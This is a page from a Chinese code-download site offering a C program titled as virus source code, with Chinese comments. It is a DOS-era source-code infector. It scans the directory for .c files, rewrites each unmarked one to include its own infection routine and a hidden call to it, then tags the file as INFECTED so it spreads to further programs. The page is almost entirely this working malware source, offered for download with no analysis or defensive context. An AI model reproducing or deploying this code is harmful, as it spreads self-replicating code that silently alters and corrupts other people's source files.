⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 病毒程序virus.c源代码.txt

📁 用C语言实现VIRUS病毒的详细代码
💻 TXT
字号:
 /*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
  viruses();
}
int viruses_sub()
{
   struct ffblk ffblk;
   int done,i,j,k,n_line;
   FILE *virus_r,*virus_v; 
 /*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/
   char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/
   static char viruses_f[]={"virus.c"};/*文件被传染后,修改该值为自身文件名*/
   int include_write;
   int virus_call=0;
   int virus_start=0;
   char *main_flag[]={"printf","break","for","while"};
   char *include_h[]={"dos.h","stdio.h","dir.h"};
   char *v_flag[]={"INFECTED"};
   struct date today;
/*VIRUSES DISPLAY*/
   getdate(&today); /*病毒显示日期信息*/
   printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
   done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/
   while(!done)
   {
       if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
       {
          virus_r=fopen(ffblk.ff_name,"r+w");
          if(virus_r!=NULL)
          {
             p1=fgets(&a[0][0],80,virus_r);
             if(strstr(p1,v_flag[0])==NULL)
             {
                n_line=0; /*把文件全部读入a[500][80]*/
                while(p1!=NULL)
               {
                   n_line++;
                   p1=fgets(&a[n_line][0],80,virus_r);
                   if(n_line>=500)
                   {
                       fclose(virus_r);
                       return(1);
                   }
               }
               fseek(virus_r,0,SEEK_SET);
               virus_v=fopen(&viruses_f[0],"r"); /*打开带病毒的文件*/
               if(virus_v==NULL)
               {
                   fclose(virus_r);
                   return(2);
               }
              for(i=1;i<5;i++) /*读带病毒文件前4行并写入将被传染的文件*/
             {
             p2=fgets(b,80,virus_v);
             if(p2==NULL)
            {
                fclose(virus_r);
                fclose(virus_v);
                return(3);
            }
            fputs(b,virus_r);
         }
         for(j=0;j<n_line;j++) /*把将被传染文件的原程序写回原文件*/
         {
            include_write=1; /*不写入病毒文件已有的包含语句*/
           if(strstr(&a[j][0],"#include")!=NULL)
           for(i=0;i<3;i++)
           if(strstr(&a[j][0],include_h[i])!=NULL)
               include_write=-1;
           if(virus_call==0)   /*插入调用语句,并加上回车换行*/
              for(i=0;i<4;i++)
              if(strstr(&a[j][0],main_flag[i])!=NULL)
              {
                  for(k=0;k<80;k++)
                     b[k]=0;
                  strcpy(&b[0],"viruses();");
                  b[10]=13;
                  b[11]=10;
                  fputs(b,virus_r);virus_call=1;
                  i=4;
              }
             if(include_write==1)fputs(&a[j][0],virus_r);
         }
         p1=fgets(b,80,virus_v);  /*把病毒子程序写入文件*/
         while(p1!=NULL)
         {
            if(virus_start==0)  /*找病毒子程序的第一条语句*/
              if(strstr(p1,"int viruses_sub()")!=NULL)
                  virus_start=1;
              if(virus_start==1)
              {
                  if(strstr(p1,"char")!=NULL)
                      if(strstr(p1,"viruses_f[]=")!=NULL)
                      {
                          strcpy(&b[29],ffblk.ff_name);
                          i=strlen(&b[0]);
                          b[i]=34;
                          strcpy(&b[i+1],");");
                         b[i+3]=13;
                         b[i+4]=10;
                      }
                fputs(b,virus_r);
             }
             p1=fgets(b,80,virus_v);
         }
      fclose(virus_v);
      fclose(virus_r);
      return(0);
   }
   fclose(virus_r);
  }
 }
   done=findnext(&ffblk);
}
    return(4);
}

 viruses()
    {
      int num;
      num=viruses_sub();
      switch (num)
      {
             case  0 : printf("successful\n");
                       break;
             case  1: printf("the file is outof line\n");
                       break;
             case  2 : printf("the viruses file cannot open\n");
                       break;
             case  3 : printf("cannot read viruses file\n");
                       break;
             case  4: printf("cannot find file\n");
      }
getch();
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -